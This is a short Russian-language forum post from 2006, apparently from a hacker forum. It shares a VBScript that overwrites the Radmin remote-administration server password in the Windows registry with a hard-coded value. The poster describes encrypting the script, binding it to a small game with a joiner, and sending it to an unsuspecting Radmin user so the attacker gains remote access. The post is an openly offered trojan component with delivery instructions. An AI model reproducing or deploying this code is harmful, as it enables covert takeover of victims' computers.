vbs реестр и radmin

Discussion in 'PHP' started by Seth, 21 Oct 2006.

  1. Seth

    Seth New Member

    Joined:
    21 Oct 2006
    Messages:
    2
    Likes Received:
    2
    Reputations:
    1
    может камуто поможет :)
    вот vbs код перенастраивающий в реестре сервер radmin:

    Const HKEY_LOCAL_MACHINE = &H80000002
    strComputer = "."
    Set StdOut = WScript.StdOut
    Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
    strKeyPath = "System\RAdmin\v2.0\Server\Parameters"
    strValueName = "Parameter"
    iValues = Array(&H38,&H70,&He3,&Hb9,&Hf6,&Hf4,&Hfb,&H9e,&Hf8,&H9c,&H77,&H92,&H11,&Hf4,&Hce,&H1a)
    oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
    oReg.SetBinaryValue HKEY_LOCAL_MACHINE,strKeyPath, strValueName,iValues

    какой пароль я использовал не помню давно писал, а раскодирывать лень :)
    создаётся txt фаил в него вписывается этот код
    переиенновывается фаил в *.vbs потом какойто прогой шифруется и джуниром какимто клеется к какойнито игрушке мелкой и ламоку скинуть у которого стоит радмин, ну вобщем пользуйте :)